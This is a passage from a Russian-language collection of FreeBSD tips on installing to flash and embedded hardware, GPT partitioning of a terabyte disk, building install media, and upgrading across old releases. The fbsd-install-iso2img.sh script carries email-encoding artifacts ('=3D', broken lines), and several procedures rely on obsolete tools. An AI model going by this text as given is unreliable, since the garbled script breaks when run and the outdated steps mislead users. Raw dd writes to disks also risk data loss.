    не произошло, можно попробовать
    перейти в shell (Alt-F4) 
    и загрузить модуль ядра da:
    
       kldload da
       camcontrol rescan all
     
    Далее загружаемся с созданного Flash и копируем на него содержимое установочного диска.
    После чего диск можно использовать на машинах без CD-привода, вручную запуская /stand/sysinstall 
    и выбирая в качестве источника установки локальное хранилище.
    
     
    ----* Установка FreeBSD на embedded ПК без монитора и клавиатуры (доп. ссылка 1)   Автор: Анонимус  [комментарии]
     
    Есть железка с x86 процессором, 256 Мб памяти, 3 eth от via и слотом под CF-карту. 
    Нет VGA выхода и клавиатурной ps/2, есть COM. 
    
    Необходимо завести на этой железяке FreeBSD в качестве роутера:
    
    1) Цепляем CF-карту через USB кардридер к компьютеру, загружаемся с установочного CD, 
    выбираем в качестве целевого диска "da" - так у меня определился USB кардридер.
    Разбиваем по вкусу, необходимости
    и возможностям флешки. Через инсталлятор рекомендую сразу включить sshd и завести учётную запись. 
    
    2) Загружаемся на этом же компьютере с кардридера. Прописываем /etc/rc.conf необходимую сеть
    (внимание! учитывая название драйвера сетевой карты embeded устройства, а не ПК
    с которого производилась установка),
    например 
    
       ifconfig_vr0="inet 192.168.1.6  netmask 255.255.255.0"
    
    Так же правим /etc/fstab на целевой диск, на моём устройстве CF-карта будет
    ad0, вместо da1 кардридера.
    
    Правим чтобы по умолчанию консоль (видео/клавиатура) была на com-порту, в процессе загрузки:
    
       echo "-h" > /boot.config
       echo 'console="comconsole"' >> /boot/loader.conf
    
    и на ходу - в /etc/tty заменить/добавить:
    
       ttyd0   "/usr/libexec/getty std.9600"   vt100   on secure
    
    3) Цепляем карту к устройству, подключаем консольный кабель в COM порт, включаем питание 
    и с помощью консольного терминала типа HyperTerminal, putty, TeraTerm, cu, minicom и т.п. 
    с настройками 9600, 8-N-1 видим процесс загрузки FreeBSD, можем в него вмешаться и после загрузки 
    видим стандартное приглашение. Тут же не возбраняется получить управление по
    ssh, если всё верно прописали в rc.conf.
    
    Дополнения:
    
    - не плохо бы пересобрать ядро, можно выкинуть всё что касается vga, sc и kbd 
    и многое другое (зависит от железки). Удалив потом исходные тексты, obj и т.п.,
    получим мегабайт 150,
    а то и меньше, на флешке и сравнительно не много расходуемой ядром памяти при
    полнофункциональной FreeBSD;
    
    - в принципе, можно и без sysinstall, поставить и сразу с пересобранным ядром, 
    в качестве примера гуглите "freebsd on usb stick" и делайте по аналогии;
    
    - Если железок много то логично сделать раз, а потом скопировать при помощи dd;
    
    - На флешку много писать накладно, посему не плохо вытащить /tmp и некоторые
    части /var в tmpfs или сеть.
    
     
    ----* Установка FreeBSD на терабайтный диск с которым не работал sysinstall (доп. ссылка 1)   Автор: penkovmm  [комментарии]
     
    Решение проблемы с неправильной геометрией диска при попытке поставить FreeBSD на жёсткий диск, 
    на который не получалось поставить систему штатной утилитой sysinstall.
    При переносе системы на терабайтник и написании статьи использовались материалы
    по следующим ссылкам:
       http://m8d.de/news/freebsd-on-gpt.php
       http://www.lissyara.su/?id=1704
    
    Возникла у меня как-то необходимость заменить в домашнем сервере, который работает 
    под управлением ОС FreeBSD 7.1 Release, жёсткий диск Samsung SP0411N (40GB,
    IDE) на Seagate ST31000333AS (1TB, SATAII). Материнская плата, установленная на сервере - 
    Asus P5V800-MX (чипсет VIA), поддерживает HDD IDE, SATA и SATAII.
    Не долго думая, отключил старый винт, подсоединил новый, вставил в привод DVD
    с FreeBSD, запустил установку и... столкнулся с сообщением об ошибке от утилиты
    fdisk, которой показалось, что
    диск имеет неправильную геометрию.
    Для меня так и осталось загадкой, что же не понравилось этой утилите в моём
    новом HDD. Судя по хэндбуку,
    ОС должна нормально работать с разделами до 2TB. 
    Позадавав вопросы на разнообразных форумах, решил попробовать использовать GPT. 
    
    Итак, к делу:
    
    1. Подготовка
    
    Загружаюсь со старого диска, на который установлена FreeBSD 7.1 Release при подключенном 
    новом терабайтнике. У меня в ядре уже была включена поддержка GPT, но
    перед работой проверьте в конфигурации ядра наличие строчки
    
       options GEOM_GPT
    
    терабайтник у меня определился как ad4 (а как определился Ваш, можно посмотреть
    в файле /var/run/dmesg.boot).
    
    
    2. Создаю схему разметки GPT
    
    Зашёл под рутом и дал команду
    
       gpart create -s GPT ad4
    
    Этой командой я создал схему разметки GPT на провайдере, а провайдером в данном
    случае выступает ad4,
    то есть мой новый диск.
    Теперь я дам команду gpart show, которая покажет информацию о GPT в системе,
    в моём случае покажет, что диск свободен, начинается с 34 и имеет размером какое-то
    страшное число логических блоков, которое тут же и в Гб указывается. В процессе
    разметки диска я буду эту команду постоянно использовать, так что будьте готовы.
    
    
    3. Создаю разделы
    
    Теперь создам загрузочный раздел:
    
       gpart add -b 34 -s 16 -t freebsd-boot ad4
    
    эта команда создала раздел, начиная с логического блока 34, размером в 16
    логических блоков, имеющий тип
    freebsd-boot и размещающийся на ad4, только ad4 в документации теперь
    называется не "провайдер", а уже Geom.
    
    Создаем остальные разделы:
    
       gpart add -b 50 -s 2097152 -t freebsd-ufs ad4
    
    этой командой я создал раздел для корневой файловой системы размером в 1 Гб, то есть
    раздел начинается с логического блока 50 и занимает 2097152 логических блока. Число,
    с которого должен начинаться следующий раздел берём из вывода команды gpart show
    (просто смотрим там, с какого блока начинается свободное место), а сколько блоков надо
    на один Гб, я выяснил, разделив количество блоков на количество Гб на диске 
    (эти данные тоже можно посмотреть в выводе команды gpart show).
    
       gpart add -b 2097202 -s 8388608 -t freebsd-swap ad4
    
    это 4 Гб под swap (объём свопа я задал, умножив количество имеющейся у меня в
    сервере оперативки на 2).
    
       gpart add -b 10485810 -s 8388608 -t freebsd-ufs ad4
    
    это 4 Гб под /tmp - с большим запасом. Я запасливый.
    
       gpart add -b 18874418 -s 20971520 -t freebsd-ufs ad4
    
    это 10 Гб под /var на случай разрастания логов.
    
       gpart add -b 39845938 -s 1913679197 -t freebsd-ufs ad4
    
    и всё остальное под /usr.
    
    После этих манипуляций вывод команды gpart show у меня стал такой:
    
       => 34 1953525101 ad4 GPT (932G)
       34 16 1 freebsd-boot (8.0K)
       50 2097152 2 freebsd-ufs (1.0G)
       2097202 8388608 3 freebsd-swap (4.0G)
       10485810 8388608 4 freebsd-ufs (4.0G)
       18874418 20971520 5 freebsd-ufs (10G)
       39845938 1913679197 6 freebsd-ufs (913G)
    
    То есть я получил такое размещение разделов на диске:
    
       Раздел Тип Размер Файловая система
       ad4p1 freebsd-boot 8KB -
       ad4p2 freebsd-ufs 1GB /
       ad4p3 freebsd-swap 4GB /swap
       ad4p4 freebsd-ufs 4GB /tmp
       ad4p5 freebsd-ufs 10GB /var
       ad4p6 freebsd-ufs 913GB /usr
    
    4. Делаю диск загрузочным
    
       gpart bootcode -b /dist/boot/pmbr ad4
    
    И запишу загрузочный код в загрузочный сектор:
    
       gpart bootcode -p /boot/gptboot -i 1 ad4
    
    Другой вариант записи:
       cp /boot/gptboot /tmp
       dd if=/dev/zero bs=641 count=1 >> /tmp/gptboot
       dd if=/tmp/gptboot of=/dev/ad4p1 bs=512
    
    5. Инициализирую разделы
    
    Дальше созданные разделы необходимо подготовить для работы, то
    есть проинициализировать. 
    Итак, команды:
    
       newfs -O2 /dev/ad4p2 (12)
       newfs -O2 -U /dev/ad4p4 (13)
       newfs -O2 -U /dev/ad4p5 (14)
       newfs -O2 -U /dev/ad4p6 (15)
    
    P.S. Хочу отметить, что вместо команды gpart на ранних версиях FreeBSD можно было воспользоваться 
    командой gpt, однако во FreeBSD 8.0 команды gpt нет.
    
    6. Переношу систему на новый жёсткий диск
    
    В качестве подготовки к переносу создал каталоги /mnt/root, /mnt/var и
    /mnt/usr:
    
       mkdir /mnt/root; mkdir /mnt/var; mkdir /mnt/usr (16)
    
    смонтировал туда новые разделы:
    
       mount /dev/ad4p2 /mnt/root
       mount /dev/ad4p5 /mnt/var
       mount /dev/ad4p6 /mnt/usr
    
    И непосредственно перенос системы:
    
       cd /; pax -p eme -X -rw . /mnt/root (20)
       cd /var; pax -p eme -X -rw . /mnt/var (21)
       cd /usr; pax -p eme -X -rw . /mnt/usr (22)
    
    Теперь редактирую файл /etc/fstab (на новом диске названия разделов не те, что
    на старом, так что система при загрузке с терабайтника попытается смонтировать
    те разделы, которые были на старом диске.
    
    У меня получился вот такой файл:
    
       # Device Mountpoint FStype Options Dump Pass#
       /dev/ad4p3 none swap sw 0 0
       /dev/ad4p2 / ufs rw 1 1
       /dev/ad4p4 /tmp ufs rw 2 2
       /dev/ad4p6 /usr ufs rw 2 2
       /dev/ad4p5 /var ufs rw 2 2
       /dev/acd0 /cdrom cd9660 ro,noauto 0 0
    
    Выключаю сервер командой shutdown -p now и отключаю старый диск.
    
    7. Заключение
    
    После включения у меня всё заработало как надо, кроме mysql, потому что его сокет лежал в /tmp, 
    а во время переноса на директорию /tmp изменились права. Починил командой
       chmod 1777 /tmp
    
    Ну и всё. Удачи!
    
     
    ----* Обновление FreeBSD 7.0 до FreeBSD 7.1 через cvsup (доп. ссылка 1)   Автор: Litos  [комментарии]
     
       sed 's/RELENG_7_0/RELENG_7_1/' < /usr/share/examples/cvsup/standard-supfile > supfile
       csup -h cvsup2.ru.FreeBSD.org supfile
       cd /usr/src
       make buildworld
       make buildkernel KERNCONF=MY
       make installkernel KERNCONF=MY
       make installworld
       tar czvf /root/etc-backup.tgz /etc /var/named/etc
       mergemaster
       reboot
    
    Инструкция по обновлению при помощи freebsd-update: http://www.opennet.dev/tips/info/1818.shtml
    
    Дополнение: C 2012 года проект FreeBSD перешёл на использование Subversion.
    Вместо cvsup следует использовать svnup (или freebsd-update для системы,
    portsnap/pkg для портов):
    
       cd /usr/ports/net/svnup && make install
       svnup stable -h svn0.us-west.freebsd.org 
       svnup ports -h svn0.us-west.freebsd.org 
    
    Настройки можно найти в файле /usr/local/etc/svnup.conf
    
     
    ----* Установка FreeBSD на USB Flash. (доп. ссылка 1)   Автор: iZEN  [комментарии]
     
    1. Разметить флэшку
    
    На всё пространство: 
       fdisk -BI /dev/da0
    
    Интерактивно разбить на разделы: 
       fdisk -i /dev/da0
       (ID разделов:  UFS - 165, FAT32 - 11, EFI GPT - 238)
    
    Используя конфиг-файл: 
       fdisk -f /poat/to/fdiskcofig.txt /dev/da0
    
    2. Форматирование
    
    MSDOS: 
       newfs_msdos -L DOS7 /dev/da0s1
    
    FreeBSD: 
       bsdlabel -w -B da0s2 && newfs -n -U -L FBSD /dev/da0s2a
    
    3. Установка загрузчика в MBR флэшки
    
       boot0cfg -v -B -o noupdate da0
    
    4. Копирование системных каталогов на флэшку
    
       mount /dev/da0s2a /mnt
    
       cp -R /boot /mnt/
       cp -R /sbin /mnt/
       cp -R /libexec /mnt/
       cp -R /lib /mnt/
       cp -R /bin /mnt/
       cp -R /etc /mnt/
    
       mkdir -p /mnt/usr/
       cp -R /usr/bin /mnt/usr/
       cp -R /usr/compat /mnt/usr/
       cp -R /usr/games /mnt/usr/
       cp -R /usr/include /mnt/usr/
       cp -R /usr/lib /mnt/usr/
       cp -R /usr/libdata /mnt/usr/
       cp -R /usr/libexec /mnt/usr/
       cp -R /usr/local /mnt/usr/
       cp -R /usr/ports /mnt/usr/
       cp -R /usr/sbin /mnt/usr/
       cp -R /usr/share /mnt/usr/
       cp -R /usr/src /mnt/usr/
      
       cp -R /var /mnt/
       rm -rf /mnt/var/tmp/* && chmod -R 777 /mnt/var/tmp/
       rm -rf /mnt/var/run/*
       rm -rf /mnt/var/log/*
    
       mkdir -p /mnt/mnt/
       mkdir -p /mnt/media/
       mkdir -p /mnt/cdrom/
       mkdir -p /mnt/dev/
       mkdir -p /mnt/proc/
       mkdir -p /mnt/tmp/ && chmod -R 777 /mnt/tmp/
       mkdir -p /mnt/usr/obj/
    
    5. Перенос домашних каталогов
    
       cp -R /root /mnt/
       cp -R /home /mnt/
    
    6. Обеспечение загрузки с флэшки
    
       echo 'geom_label_load="YES"' >> /mnt/boot/loader.conf
       echo 'ifconfig_DEFAULT="DHCP"' >> /mnt/etc/rc.conf
       echo 'virecover_enable="NO"' >> /mnt/etc/rc.conf
       ee /mnt/etc/fstab:
    
       # Device    Mountpoint    FStype    Options            Dump    Pass#
       #/dev/ad4s1f    /usr        ufs    rw,noatime        2    2
       #/dev/ad4s1g    /home        ufs    rw,noatime        2    2
       /dev/ufs/FBSD    /    ufs rw,noatime    1    1
       md    /tmp    mfs    rw,-s160M,noatime    0    0
       md    /var/run    mfs    rw,-s14M,noatime    0    0
       md    /var/log    mfs    rw,-s26M,noatime    0    0
       #md    /usr/obj    mfs    rw,-s900M,noatime    0    0
       /dev/acd0    /cdrom    cd9660    ro,noauto,-CUTF-8    0    0
       /dev/da0s1    /mnt    msdosfs     rw,noauto,-D=CP1251,-L=ru_RU.UTF-8    0    0
       /proc    /proc    procfs    rw,noauto    0    0
       /tmp    /var/tmp    nullfs    rw    0    0
    
    7. Перезагрузка
    
       umount /dev/da0s2a
       reboot
    
    8. Важное замечание
    
    Команды копирования системных каталогов необходимо выполнять, начиная с
    копирования каталога /boot и /sbin,
    в которых находятся файлы ядра и процессов инициализации системы. Это необходимо для того, 
    чтобы загрузчик boot1/boot2 сумел найти код инициализации ядра в первых цилиндрах раздела носителя.
    
     
    ----* Наиболее простой способ обновления FreeBSD до последней версии   [комментарии]
     
    Для i386 и amd64 сборок FreeBSD для бинарного обновления можно использовать утилиту freebsd-update.
    
    Обновляем FreeBSD 6.3 до 6.4-RELEASE
    
    Проверяем файл конфигурации /etc/freebsd-update.conf, можно изменить сервер для
    загрузки обновлений
    и обновляемые компоненты, например, исключить src.
    
    Загружаем обновления, которые будут сохранены в /var/db/freebsd-update
    (в /var необходимо наличие как минимум 400Мб свободного места):
    
       freebsd-update upgrade -r 6.4-RELEASE
    
    Устанавливаем обновления, попутно отвечая на вопросы, 
    касающиеся решения конфликтов 
    при обновлении файлов конфигурации:
    
       freebsd-update install
    
    Перезагружаем систему:
    
       shutdown -r now
    
    Деинсталировать установленные обновления можно при помощи команды "rollback".
    
    Утилита freebsd-update входит в состав FreeBSD, начиная с версии 6.2.
    
    
    Инструкция по обновлению FreeBSD 6.x до FreeBSD 7.0
    
    
    Загружаем скрипт обновления, проверяем его целостность и разархивируем:
       fetch http://people.freebsd.org/~cperciva/freebsd-update-upgrade.tgz
       fetch http://people.freebsd.org/~cperciva/freebsd-update-upgrade.tgz.asc
       gpg --verify freebsd-update-upgrade.tgz.asc freebsd-update-upgrade.tgz
       tar -xf freebsd-update-upgrade.tgz
    
    Загружаем файлы обновлений и производим первичную подготовку:
       sh freebsd-update.sh -f freebsd-update.conf -r 7.0-RELEASE upgrade
    
    Устанавливаем обновления (устанавливаем новое ядро):
       sh freebsd-update.sh -f freebsd-update.conf install
    
    Перезагружаем систему:
       shutdown -r now
    
    Второй раз запускаем установку обновлений (при первом запуске было обновлено только ядро,
    при повторном запуске выполняется обновление базового окружения):
       sh freebsd-update.sh -f freebsd-update.conf install
    
    Пересобираем установленные дополнительные приложения (порты), 
    так как они могут ссылаться на старые библиотеки.
       portupgrade -faP
    
    Третий раз запускаем процесс обновления, теперь для удаления старых библиотек:
    
       sh freebsd-update.sh -f freebsd-update.conf install
    
    Выполняем перезагрузку:
       shutdown -r now
    
     
    ----* Организация установки FreeBSD с USB Flash (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3)   [комментарии]
     
    Иногда возникает необходимость создать установочный Flash-диск с FreeBSD, 
    но без переформатирования FAT-раздела на Flash, при сохранении размещенных там данных.
    
    Загружаем с ftp.freebsd.org минимальный установочный образ 6.3-RELEASE-i386-bootonly.iso
    ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/ISO-IMAGES/6.3/6.3-RELEASE-i386-bootonly.iso
    
    Создаем на его основе ram-диск. Операции выполняются на FreeBSD системе, 
    при необходимости временно FreeBSD можно поставить в KVM, VmWare или VirtualBox.
    
    Создаем образ RAM-диска размером чуть больше bootonly.iso:
    
       dd if=/dev/zero of=boot.img bs=1k count=26000
    
    Подключаем ram-диск:
    
       mdconfig -a -t vnode -f boot.img -u 0
    
    Устанавливаем загрузочный сектор и размечаем по умолчанию:
    
       bsdlabel -w -B md0 auto
    
    Создаем файловую систему:
    
       newfs -m 0 md0a
    
    Монтируем созданную ФС ram-диска:
    
       mkdir /mnt/img
       mount /dev/md0a /mnt/img
    
    Монтируем iso-образ и переносим с него данные на ram-диск:
    
       mkdir /mnt/iso
       mdconfig -a -t vnode -f 6.3-RELEASE-i386-bootonly.iso -u 1
       mount_cd9660 /dev/md1 /mnt/iso
       cd /mnt/img/
       cp -r /mnt/iso/* .
    
    Размонтируем:
    
       cd
       umount /mnt/img /mnt/iso
       mdconfig -d -u 0
       mdconfig -d -u 1
    
    Загружаем Linux, можно LiveCD.
    Копируем boot.img на Flash диск.
    Копируем на Flash файл memdisk из комплекта syslinux (http://syslinux.zytor.com).
    Ставим syslinux на Flash (/dev/sdb1):
    
       syslinux -s /dev/sdb1
    
    Создаем в корне файл syslinux.cfg:
    
       label freebsd
           kernel /memdisk
           append initrd=/boot.img harddisk
    
    Если не грузится, ругаясь на MBR, заменяем MBR на содержимое файла mbr.bin из комплекта syslinux:
       dd if=/dev/sdb of=mbr_backup.bin bs=1 count=512
       cat mbr.bin > /dev/sdb
    
    Проверить можно через QEMU:
       qemu -hda /dev/sdb1 -std-vga
    
    
    При установке выбираем метод получения установочных файлов по FTP или копируем их на Flash 
    (директорию 6.3-RELEASE из 6.3-RELEASE-i386-disc1.iso).
    
    --------------------
    В случае когда USB Flash не жалко отформатировать, можно можно создать
    загрузочный 
    USB Flash следующим образом:
    
       fdisk -BI /dev/da2
       bsdlabel -w -B /dev/da2s1
       newfs /dev/da2s1a
       mount /dev/da2s1a /mnt
    
    Копируем в /mnt содержимое содержимое 6.3-RELEASE-i386-bootonly.iso
    
    --------------------
    Установка загрузчика FreeBSD на Flash из Linux:
    
    Делаем бэкап текущего MBR USB диска:
      dd if=/dev/sdb of=mbr_sdb.bin bs=1 count=512
    
    Берем boot0 из комплекта FreeBSD и копируем в него данные о таблицах разделов текущего диска:
      dd if=mbr_sdb.bin  of=boot0   bs=1 count=66 skip=446 seek=446
    
    Копируем загрузчик в MBR USB диска:
      dd if=boot0 of=/dev/sdb  bs=1 count=512
    
    
    Инструкцию по созданию установочного образа FreeBSD, загружаемого по сети
    можно найти здесь http://wiki.opennet.ru/NetworkBoot
    
    ---------------------
    Полезный скрипт для преобразования ISO в UFS-образ (http://docs.FreeBSD.org/cgi/mid.cgi?4420AF56.60106)
    
    Запускается ./fbsd-install-iso2img.sh iso-path img-path
    
    
    #!/bin/sh
    
    # You can set some variables here. Edit them to fit your needs.
    
    # Set serial variable to 0 if you don't want serial console at all,
    # 1 if you want comconsole and 2 if you want comconsole and vidconsole
    serial=3D0
    
    set -u
    
    if [ $# -lt 2 ]; then
        echo "Usage: $0 source-iso-path output-img-path"
        exit 1
    fi
    
    isoimage=3D$1; shift
    imgoutfile=3D$1; shift
    
    export tmpdir=3D$(mktemp -d -t fbsdmount)
    # Temp file and directory to be used later
    export tmpfile=3D$(mktemp -t bsdmount)
    
    export isodev=3D$(mdconfig -a -t vnode -f ${isoimage})
    
    echo "#### Building bootable UFS image ####"
    
    ISOSIZE=3D$(du -k ${isoimage} | awk '{print $1}')
    SECTS=3D$((($ISOSIZE + ($ISOSIZE/5))*2))
    
    # Root partition size
    
    echo "Initializing image..."
    dd if=3D/dev/zero of=3D${imgoutfile} count=3D${SECTS}
    ls -l ${imgoutfile}
    export imgdev=3D$(mdconfig -a -t vnode -f ${imgoutfile})
    
    bsdlabel -w -B ${imgdev}
    newfs -O1 /dev/${imgdev}a
    
    mkdir -p ${tmpdir}/iso ${tmpdir}/img
    
    mount -t cd9660 /dev/${isodev} ${tmpdir}/iso
    mount /dev/${imgdev}a ${tmpdir}/img
    
    echo "Copying files to the image..."
    ( cd ${tmpdir}/iso && find . -print -depth | cpio -dump ${tmpdir}/img )
    #bzcat ${tmpdir}/iso/dist/root.dist.bz2 | mtree -PUr -p ${tmpdir}/img 2>&=
    1 > /dev/null
    
    #echo "/dev/ufs/${UFS_LABEL} / ufs ro 1 1" > ${tmpdir}/img/etc/fstab
    
    if [ ${serial} -eq 2 ]; then
            echo "-D" > ${tmpdir}/img/boot.config
            echo 'console=3D"comconsole, vidconsole"' >> ${tmpdir}/img/boot/l=
    oader.conf
    elif [ ${serial} -eq 1 ]; then
            echo "-h" > ${tmpdir}/img/boot.config
            echo 'console=3D"comconsole"' >> ${tmpdir}/img/boot/loader.conf
    fi
    
    cleanup() {
        umount ${tmpdir}/iso
        mdconfig -d -u ${isodev}
        umount ${tmpdir}/img
        mdconfig -d -u ${imgdev}
        rm -rf ${tmpdir} ${tmpfile}
    }
    
    cleanup
    
    ls -lh ${imgoutfile}
    
     
    ----* Создание установочного DVD из 4 образов CD дисков FreeBSD 7.0 (доп. ссылка 1)   [комментарии]
     
    Имеем загруженные iso образы:
    
       7.0-RELEASE-i386-disc1.iso
       7.0-RELEASE-i386-disc2.iso
       7.0-RELEASE-i386-disc3.iso
       7.0-RELEASE-i386-docs.iso
    
    Создаем в домашнем каталоге директорию dvd-freebsd7 и копируем туда содержимое iso образов.
    
       cd ~
       mkdir dvd-freebsd7
       cd dvd-freebsd7/
    
       mdconfig -a -t vnode -f ../7.0-RELEASE-i386-disc1.iso -u 0
       mount -t cd9660 /dev/md0 /mnt
       tar -C /mnt -cf - . | tar -xf -
       umount /mnt
    
       mdconfig -a -t vnode -f ../7.0-RELEASE-i386-disc2.iso -u 1
       mount -t cd9660 /dev/md1 /mnt
       tar -C /mnt -cf - . | tar -xf -
       umount /mnt
    
       mdconfig -a -t vnode -f ../7.0-RELEASE-i386-disc3.iso -u 2
       mount -t cd9660 /dev/md2 /mnt
       tar -C /mnt -cf - . | tar -xf -
       umount /mnt
    
       mdconfig -a -t vnode -f ../7.0-RELEASE-i386-docs.iso -u 3
       mount -t cd9660 /dev/md3 /mnt
       tar -C /mnt -cf - . | tar -xf -
       umount /mnt 
    
    Используя sed или обычный текстовый редактор удаляем упоминание привязки к
    номеру диска ("||1", "||2" и "||3") в файле packages/INDEX
    
    В файл cdrom.inf добавляем:
    
       CD_VOLUME = 0
       CD_VOLUME = 1
       CD_VOLUME = 2
       CD_VOLUME = 3
    
    Удаляем директорию rr_moved 
    (иначе при создании iso образа в формате Rock Ridge будет выдана ошибка):
    
       rm -Rf rr_moved
    
    Для записи DVD на лету:
    
       growisofs -Z /dev/cd0 -J -R -no-emul-boot -b boot/cdboot -iso-level 3 .
    
    Для создания ISO образа DVD диска:
    
       mkisofs -V FreeBSD7 -J -R -b boot/cdboot -no-emul-boot -o freebsd7.iso .
    
    Для записи созданного iso:
    
       growisofs -dvd-compat -Z /dev/cd0=freebsd7.iso
    
     
    ----* Обновление FreeBSD 6.3 до FreeBSD 7.0 из исходных текстов (доп. ссылка 1)   [комментарии]
     
    Устанавливаем комплект файлов для обратной совместимости.
    
    1. Загружаем localedata-5.4.tbz и compat6x-i386-6.x.xxxxxx.yyyymm.tbz 
    с ftp://ftp6.ru.freebsd.org/pub/FreeBSD/ports/i386/packages-7.0-release/All 
    2. Первый файл распаковываем (через pkg_add имя_пакета) 
    в /usr/local/share/compat/, второй в /usr/local/lib/compat/
    
    Устанавливаем комплект для обновления.
    
    Загружаем http://people.freebsd.org/~rse/dist/freebsd-adm-1.2.2.tar.gz 
    
    1. Распаковываем в /usr/adm:
       cd /usr
       fetch http://people.freebsd.org/~rse/dist/freebsd-adm-1.2.2.tar.gz
       rm -rf adm; 
       gunzip <freebsd-adm-1.2.2.tar.gz | tar xvf -; 
       rm -f freebsd-adm-1.2.2.tar.gz
    
    2. В файле /usr/adm/cfg/csup.src заменяем RELENG_6 на RELENG_7_0
    
    Обновляем исходные тексты на FreeBSD 7.0:
       cd /usr/src && make cleandir
       cd /usr/adm && make update
    
    Обновляем конфигурацию ядра:
      vi /sys/`uname -m`/conf/`hostname -s | tr 'a-z' 'A-Z'`
    
    1. Добавляем:
      options        COMPAT_FREEBSD6
      options        TCP_DROP_SYNFIN
      options        SCTP            # Stream Transmission Control Protocol
      options        UFS_GJOURNAL    # Enable gjournal-based UFS
      options        STOP_NMI        # Stop CPUS using NMI instead of IPI
      options        AUDIT           # Security event auditing
      options        GEOM_LABEL      # Provides labelization
      options        GEOM_PART_GPT   # GUID Partition Tables.
      options        COMPAT_43TTY    # BSD 4.3 TTY compat [KEEP THIS!]
      options KSE
      device         uart            # Generic UART driver
      device         le              # AMD Am7900 LANCE and Am79C9xx PCnet
      device         firmware        # firmware assist module
      device         dcons           # Dumb console driver
      device         dcons_crom      # Configuration ROM for dcons
    
    2. Убираем:
      options        GEOM_GPT        # GUID Partition Tables.
      options        COMPAT_43       # Compatible with BSD 4.3 [KEEP THIS!]
      device         lnc             # NE2100, NE32-VL Lance Ethernet cards
    
    3. Замечание по опциям: 
       IPSEC_ESP меняем на FAST_IPSEC
       вместо PIM используем MROUTING
       вместо SCHED_4BSD можно поставить SCHED_ULE
       в GENERIC ядре теперь по умолчанию включены:
         cpufreq, dumb, uart, fwip (IP over FireWire), wlan_wep, wlan_ccmp и wlan_tkip
    
    Читаем /usr/src/UPDATING
    
    Готовимся к обновлению:
       mergemaster -p
    
    Собираем "мир" и ядро:
       cd /usr/adm && make world-build kernel-build
    
    Устанавливаем FreeBSD 7.0
       make kernel-install world-install
    
    Чистим хвосты FreeBSD 6.3:
       rm -f /etc/rc.d/ike /etc/rc.d/pccard /etc/rc.d/pcvt /etc/rc.d/ramdisk
       rm -f /etc/rc.d/ramdisk-own /etc/rc.d/usbd
       make etc
       make clean
    
    Перезагружаем машину
       shutdown -r now
    
    Продолжаем чистку хвостов:
       cd /; exec `/usr/bin/which bash sh | head -1`
       PATH=/bin:/usr/bin:/sbin:/usr/sbin; umask 022; unset TMOUT
    
    Ищем что можно удалить:
       ( for dir in /bin /sbin /usr/bin /usr/sbin /usr/libexec /usr/libdata; do \
          find $dir -mtime +2 -type f -xdev -print; \
          find $dir -mtime +2 -type l -xdev -print; \
          done ) >/tmp/remove
      
    Смотрим что будем удалять, внимательно анализируем /tmp/remove
    Удаляем:
       cat /tmp/remove | xargs rm -f
    
    Ищем что нужно переместить:
       ( for dir in /lib /usr/lib; do \
          find $dir -mtime +2 -type f -xdev -print; \
          find $dir -mtime +2 -type l -xdev -print; \
          done ) | grep -v /usr/lib/compat >/tmp/move
    
    Смотрим что будем перемещать, внимательно анализируем /tmp/move
       for x in `cat /tmp/move`; do chflags noschg $x; mv $x /usr/lib/compat/; done
    
    Подчищаем системы после сборки:
       cd /usr/src; make BATCH_DELETE_OLD_FILES=YES delete-old delete-old-libs
    
    Окончатально перезагружаемся в FreeBSD 7.0
       shutdown -r now
    
    Пересобираем установленные дополнительные приложения, 
    так как они могут ссылаться на старые библиотеки.
       portupgrade -faP
    
     
    ----* Компилирование модулей ядра FreeBSD (доп. ссылка 1)   Автор: mr.tacitus  [обсудить]
     
    Практически любой системный администратор, который сталкивался с FreeBSD, 
    компилировал ядро под себя, выбрасывая оттуда лишние "детали" или вставляя недостающие. 
    Между тем выброшенная из ядра "деталька" никуда не девается и при повторной компиляции 
    превращается в модуль (за редким исключением), который всегда можно подгрузить.
    
    Бороться с этим можно с помощью опций в файле make.conf:
    
       # не компилировать все модули
       NO_MODULES="YES"
       # компилировать только указанные модули
       # названия модулей пишутся через пробел
       MODULES_OVERRIDE=acpi ipfw
       # компилировать все модули, за исключением указанных
       WITHOUT_MODULES=pf ntfs_iconv
    
     
    ----* Обновление портов во FreeBSD (доп. ссылка 1)   Автор: Roman Sozinov  [комментарии]
     
    Прежде чем что-либо делать с портами в FreeBSD их необходимо обновить:
    
       # cat >> /etc/make.conf
       SUP_UPDATE=yes
       SUP=/usr/local/bin/cvsup
       SUPFLAGS=-g -L 2
       SUPHOST=cvsup.uk.FreeBSD.org
       SUPFILE=/usr/share/examples/cvsup/standard-supfile
       PORTSSUPFILE=/usr/share/examples/cvsup/ports-supfile
       DOCSUPFILE=/usr/share/examples/cvsup/doc-supfile
       Ctrl + D
    
       # cd /usr/ports
       # make update
    
    Найти в портах (/usr/ports) порт portupgrade (/usr/ports/ports-mgmt/portupgrade), установить его
    
       cd /usr/ports/ports-mgmt/portupgrade
       make && make install
    
    После этого можно с помощью утилиты portupgrade уже возможно обновлять 
    установленные порты (ключ -R говорит о том, что нужно обновить не только порт,
    но и все его зависимости)
    
       portupgrade -R имя_порта
    
    Чтобы узнать список портов, нуждающихся в обновлении, существует команда
    
       pkg_version -v
    
    Для наведения порядка (удаление неиспользуемых портов, дубликатов версий) 
    в реестре установленных портов (/var/db/pkg) можно воспользоваться командой
    
       pkgdb -F
    
    
    Ссылки:
       1. "Системный администратор" (2007.01)
       2. Очистка портов во FreeBSD 
           http://www.opennet.dev/base/sys/cleaning_up_ports.txt.html
       3. portupgrade - `обновлялка` установленных портов 
           http://www.lissyara.su/?id=1153
    
    
    Дополнение: C 2012 года проект FreeBSD перешёл на использование Subversion.
    Вместо cvsup следует использовать svnup (или freebsd-update для системы,
    portsnap/pkg для портов):
    
       cd /usr/ports/net/svnup && make install
       svnup stable -h svn0.us-west.freebsd.org 
       svnup ports -h svn0.us-west.freebsd.org 
    
    Настройки можно найти в файле /usr/local/etc/svnup.conf
    
     
    ----* Удаленное бинарное обновление FreeBSD 4.11 до 6.2-RELEASE (доп. ссылка 1)   Автор: Eugene Grosbein  [комментарии]
     
    Удаленное бинарное обновление 4.11 до 6.2-RELEASE,
    без доступа с консоли с двумя перезагрузками и
    минимальным downtime, безопасное настолько, насколько
    это возможно при обновлении "по месту".
    
    Требуется доступность первого инсталляционного CD
    из дистрибутива 6.2-RELEASE, либо нужно будет
    скачать с десяток мегабайт из него для пункта 3 ниже.
    
